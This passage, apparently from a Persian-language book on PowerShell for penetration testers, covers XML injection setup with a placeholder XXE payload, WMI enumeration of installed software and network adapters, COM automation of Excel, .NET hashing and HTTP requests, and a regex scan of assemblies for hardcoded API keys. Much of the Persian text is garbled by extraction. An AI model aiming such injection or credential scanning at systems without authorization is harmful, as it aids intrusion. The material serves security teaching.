 استفاده شود. XXE یهایریپذ بی آس  شیآزما یتواند برای که م  میکنی م  رهیذخ  یلیرا در فا

XML Injection Testing 

برنامه   گراننفوذ تست برا  یکاربرد   یهااغلب  را  از  ی م   شیآزما  XML  قیتزر  یهایریپذ بیآس   ی وب  کنند. 

PowerShell   پیلودهای  قی و تزر  جادیا  ی برا  توانی م  XML  یهاسم یمکان  ی ابیارز  یبرا  یورود   ی لدهایمخرب به ف 

 برنامه استفاده کرد.   XMLو اعتبار  ه یتجز
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 : میکن شیبرنامه وب آزما کیرا در  XML ق یتزر یهایریپذ ب یتا آس  م یکن  جادیا XMLمخرب   پیلود کی د ییایب

$maliciousPayload = @" 
<root> 
      <data> 
             <name>John Smith</name> 
             <age>30</age> 
             <!-- XXE injection payload goes here --> 
       </data> 
</root>"@ 
$injectionPoint = "http://snowcapcyber.com/api/data?xml=" + [System. 
Web.HttpUtility]::UrlEncode($maliciousPayload) 

. سپس  میکنی م جاد یدر داخل عنصر داده ا XXE  قیتزر  پیلود  ک ی ی مخرب حاو XML  پیلود ک یمثال، ما  ن یدر ا

تا    میکنی م  قیبرنامه وب تزر  کیشود(  ی نشان داده م   injectionPoint$)که با    یورود   لد یف  ک یرا به    پیلود  نیا

 . ریخ ایاست  ریپذ ب یآس  XXEبرنامه در برابر حملات  ایکه آ  می کن شیآزما

COM, WMI, and .NET in PowerShell 

PowerShellقابل فناور   یی گسترده و توانا  ون یاتوماس   یهات ی،  با  و    COM  ،WMIمختلف مانند    یهای تعامل 

.NET ، کند فراهم می  ت نفوذگرانتس ی برا را . 

Using WMI for System Information Gathering 

WMI  و  ت یریمد   ی فناور  ک ی در  شده   ندوز یقدرتمند  استاندارد  راه  که  برا  یااست  اطلاعات    یدسترس   یرا  به 

را    WMI  یهاتا داده   دهد ی اجازه م   گراننفوذ   به تست   PowerShellکند.  ی و کنترل فراهم م  یکربند یپ  ستم،یس 

 هدف جستجو کنند.   ستمیاطلاعات ارزشمند در مورد س  ی آورجمع  یبرا
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نصب شده در دستگاه مورد    ی نرم افزارها  ستیل  یابیباز  ی را ب  WMIپرس و جو از    یبرا  PowerShellاز    د ییایب

 : مینظر استفاده کن

$softwareList = Get-WmiObject -Class Win32_Product | Select-Object 
-Property Name, Vendor, Version 
foreach ($software in $softwareList) { 
      Write-Host "Name: $($software.Name)" 
      Write-Host "Vendor: $($software.Vendor)" 
      Write-Host "Version: $($software.Version)" 
      Write-Host "" } 

که نشان    م یکنی استفاده م  Win32_Productجستجو در کلاس    یبرا    Get-WmiObjectمثال، ما از    نیدر ا

را    Versionو    Name  ،Vendorمانند    یخاص  یهایژگ یاست. سپس و  ستمیس   یدهنده نرم افزار نصب شده رو 

 . میدهی م شینما ی انتخاب کرده و اطلاعات را در خروج

Querying WMI for Network Information 

  PowerShellهدف دارند.    ستمیشبکه س   یکربند یاطلاعات در مورد پ  یبه جمع آور   ازیاغلب ن  گران تست نفوذ

  ی برا   PowerShellاز    د ییایمربوط به شبکه پرس و جو کند. ب  یهابه دست آوردن داده   ی را برا  WMIتواند  ی م

 :میشبکه استفاده کن کارتاطلاعات  ی برا WMIپرس و جو از  

$networkAdapters = Get-WmiObject -Class Win32_ 
NetworkAdapterConfiguration | Where-Object { $_.IPAddress -ne $null } 
foreach ($adapter in $networkAdapters) { 
      Write-Host "Adapter Description: $($adapter.Description)" 
      Write-Host "IP Address: $($adapter.IPAddress[0])" 
      Write-Host "MAC Address: $($adapter.MACAddress)" 
      Write-Host ""} 

ا از    نیدر  ما  کلاس    ی برا  Get-WmiObjectمثال،  از  جو  و  پرس 

Win32_NetworkAdapterConfiguration  م تنظ  میکنی استفاده  دهنده  نشان  شبکه    کارت  ماتیکه 

 IPAddress -ne._$)  میرا حذف کن  IPبدون آدرس    هایکارت تا    میکن ی م  لتریرا ف  جیاست. ما نتا

$nullتوض سپس  شبکه  حاتی (.  آدرس    IPآدرس    ،کارت  برا  MACو  نما  کارتهر    ی را    ش یشبکه 

 .میدهی م
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Interacting with COM Objects 

COM  اجزا  کروسافتیما  ی فناور   ک ی به  که  با    ی است  تعامل  و  ارتباط  امکان  افزار  م  گریکد ینرم  دهد.  ی را 

PowerShell   اءیبه اش   یدسترس  COM  یدهد تا با اجزای اجازه م  گر نفوذتست کند و به  ی را فراهم م  COM  ی برا  

  COM  ی ش   کی   جادیا  یبرا   PowerShellاز    د ییایها استفاده کنند. باهداف مختلف تعامل داشته باشند و از آن 

 : میاکسل استفاده کن  یهال یفا ی دستکار یبرا

$excel = New-Object -ComObject Excel.Application 
$workbook = $excel.Workbooks.Add() 
$sheet = $workbook.Worksheets.Item(1) 
$sheet.Cells.Item(1,1) = "Name" 
$sheet.Cells.Item(1,2) = "Age" 
$sheet.Cells.Item(2,1) = "John Doe" 
$sheet.Cells.Item(2,2) = 30 
$excel.Visible = $true 

.  میکنی استفاده م   Excelبرنامه    COM  ء یاز ش   د ینمونه جد   ک ی  جاد یا  ی برا  New-Objectمثال، ما از    ن یدر ا

و برنامه    م یکنی م  می ها تنظرا در سلول   ر یمقاد  م، یکنیم   جاد یا  د یجد   worksheetو    Workbook  ک یسپس  

Excel   م مشاهده  قابل  امیکنی را  م   نی.  اجازه  ما  تا عملی به  کن  اتیدهد  را خودکار  کارها  میاکسل  مانند    ییو 

 . میرا انجام ده یو گزارش ده   یها، دستکاراستخراج داده 

Using .NET for Cryptographic Operations 

PowerShell   یهاتواند از کلاس ی م  نیهمچن  .Net   استفاده    ی مانند هش و رمزگذار  ی رمزنگار  اتیعمل  یبرا

 شود.  ی استفاده م یتیامن یهاکنترل  شیآزما ایها داده  ی ساز منیا ینفوذ براکند که معمولاً در تست 
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 :مین استفاده ک  ل یفا کی  MD5محاسبه هش  ی برا NET.و  PowerShellاز  د یاجازه ده

$filePath = "C:\MyData\file.txt" 
$md5 = New-Object -TypeName System.Security.Cryptography. 
MD5CryptoServiceProvider 
$fileStream = [System.IO.File]::OpenRead($filePath) 
$hash = $md5.ComputeHash($fileStream) 
$fileStream.Close() 
$hashString = [System.BitConverter]::ToString($hash) -replace "-", "" 
Write-Host "MD5 Hash: $hashString" 

ا   System.Security.Cryptography.MD5CryptoServiceProvider.NETمثال، ما از کلاس    نیدر 

هش را محاسبه    م،یکنی باز م  ی نر یرا در حالت با  ل ی. ما فامیکنی استفاده م  ل یفا  کی   MD5محاسبه هش    یبرا

 . میکنی م لیتبد   مالیرشته هگزادس  شیهش را به نما یهات یو با میکنی م

Using .NET for Network Operations 

PowerShell   یهااز کلاس   تواند ی م  .NET  ی نفوذ برامرتبط با شبکه استفاده کند، که در تست   یهااتیعمل  ی برا  

درخواست  ییکارها ارسال  تجزHTTP  یهامانند  با سرو پاسخ  ه ی،  تعامل  و  مف  یهاس یها  ب  د یوب  از    د ییایاست. 

PowerShell    و.NET  درخواست  یبراHTTP GET میکن  اده و پردازش پاسخ استف : 

$url = "https://api.snowcapcyber.com/data" 
$request = [System.Net.WebRequest]::Create($url) 
$response = $request.GetResponse() 
$stream = $response.GetResponseStream() 
$reader = New-Object -TypeName System.IO.StreamReader -ArgumentList 
$stream 
$responseText = $reader.ReadToEnd() 
$reader.Close() 
$response.Close() 
Write-Host "Response Body:" 
Write-Host $responseText 

ا کلاس   نیدر  از  ما  و    System.Net.WebRequest  یهامثال، 

System.IO.StreamReader.NET   درخواست    یبراHTTP GET    بهURL    مشخص شده استفاده

 . میدهی م  شیو نما  میخوانی پاسخ را م ی . سپس محتوامیکنی م
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Analyzing .NET Assemblies for Vulnerabilities 

  یکدها  ای  ی احتمال  یهایریپذ بیآس   یبرا   NET  یهامجموعه   ل یو تحل  ه یتجز  یبرا  توان ی م  PowerShellاز  

اعتبارنامه    ای  APIحساس    ی دهایکل  افتنی  یها را براتواند مجموعه ی م  گر مثال، تست نفوذ  ی مخرب استفاده کرد. برا

لاعات  اط ی و جستجو  NET.ها از مجموعه  استخراج رشته  ی برا PowerShellاز  د یی ایاسکن کند. ب شده  هاردکد 

 : می بالقوه حساس استفاده کن

$assemblyPath = "C:\MyData\Assembly.dll" 
$strings = [System.IO.File]::ReadAllText($assemblyPath) 
# Search for potential sensitive information 
$apiKeyPattern = "API_KEY=[A-Za-z0-9]+" 
$matches = [System.Text.RegularExpressions.Regex]::Matches($strings, 
$apiKeyPattern) 
Write-Host "Potential API Keys found:" 
foreach ($match in $matches) { 
      Write-Host $match.Value } 

.  میخوانی م  ReadAllText::[System.IO.File]را به صورت متن با استفاده از    NET.مثال، کل مجموعه    ن یدر ا

 .میکن ی استفاده م ی بالقوه در اسمبل API  یدهایکل  یجستجو  یسپس از عبارات منظم برا 

PowerShell  پردازش    یابزار ارزشمند برا  کیCOM  ،WMI    و.NET   آن در تعامل    یینفوذ است. توانادر تست

مختلف با عملکرد    فیو انجام وظا NET.  یها، استفاده از مجموعه WMI  یها، پرس و جو از داده COM  اءیبا اش 

.NET  هدف به تست    یهاستمیها و نقاط ضعف در س یریپذ بیآس   ییشناسا  ی ها را براتیاز قابل  یاگسترده   فی، ط

 هد.دی ارائه م گران نفوذ 

آور  از  ستمیاطلاعات س   یاز جمع  استفاده  با  اش   فیوظا  یو خودکارساز WMI و شبکه  تا   COM اءیبا  گرفته 

همه    ی سیزبان برنامه نو  کی    PowerShellمرتبط با شبکه،  ف یو وظا  یرمزنگار  اتیعمل  یبرا   NET.استفاده از  

بالقوه قدرتمند    ی تیخطرات امن  ییجامع و شناسا  یتیامن   یهای ابیانجام ارز  ی برارا    گران کاره است که تست نفوذ 

  گرابزار تست نفوذ   ت ی، کNET.، و  COM  ،WMI  اتیعمل  ی برا  PowerShellدرک نحوه استفاده موثر از  .  کند ی م

 کند.ی را فراهم م یواقع  یایدر برابر حملات دن شتر یب ییبخشد و امکان کارای را بهبود م


